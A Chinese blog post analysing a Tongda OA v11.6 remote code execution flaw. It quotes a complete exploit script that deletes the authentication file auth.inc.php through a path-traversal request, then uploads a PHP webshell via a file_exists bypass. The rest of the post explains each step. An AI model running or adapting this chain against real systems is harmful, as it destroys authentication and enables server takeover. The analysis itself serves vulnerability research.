通达OA v11.6 RCE漏洞分析

hvv爆出rce按照网上exp进行复现成功获取shell,复现方式自行搜索(很多)
比较好奇 为什么要删除文件
这里从exp着手分析

import requests
 
target="http://10.6.6.91:7890/"
payload=""
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")
 
url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[-]Failed to deleted auth.inc.php")
    exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=tql&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('z1feiyu.php', payload)}
requests.post(url=url,files=files)
url=target+"/_z1feiyu.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[+]Filed Uploaded Successfully")
    print("[+]URL:",url)
else:
    print("[-]Failed to upload file")

1、首先这里访问/module/appbuilder/assets/print.php删除了webroot/inc/auth.inc.php
查看webroot/inc/auth.inc.php文件并使用zend解码
通达OA v11.6 RCE漏洞分析_第1张图片

解密网址:https://dezend.qiling.org/free
通达OA v11.6 RCE漏洞分析_第2张图片

从包含文件可以发现是对登陆的校验文件

2、检查/module/appbuilder/assets/print.php文件 (未授权访问导致产生文件删除漏洞)

通达OA v11.6 RCE漏洞分析_第3张图片

这里可以看到 页面获取 guid参数的值
使用file_exists函数判断文件是否存在 并未进行校验 就执行unlink删除文件

3、exp中访问/general/data_center/utils/upload.php文件上传
通达OA v11.6 RCE漏洞分析_第4张图片

调用action=upload上传文件
传入不存在的filetype 进入漏洞点
通达OA v11.6 RCE漏洞分析_第5张图片

在这里分析的不是很明白仅写出自己的想法

自己的想法:
根据exp构造了上传文件名和内容 {‘FILE1’: (‘z1feiyu.php’, payload)}
同时利用file_exists函数的漏洞构造/.<>./.<>./.<>./ 逃逸出来
也就是说在这里构造访问上传后
file_exists判断存在将文件加_拼接目录移动到根目录下并删除原文件

总体的根据exp分析 首先存在了任意文件删除漏洞
然后删除登陆校验文件,进而导致任意文件上传漏洞
组合之后也就是现在的rce漏洞

file_exists特性绕过参考文章:https://www.freebuf.com/articles/web/53656.html

你可能感兴趣的:(代码审计,web,安全,php)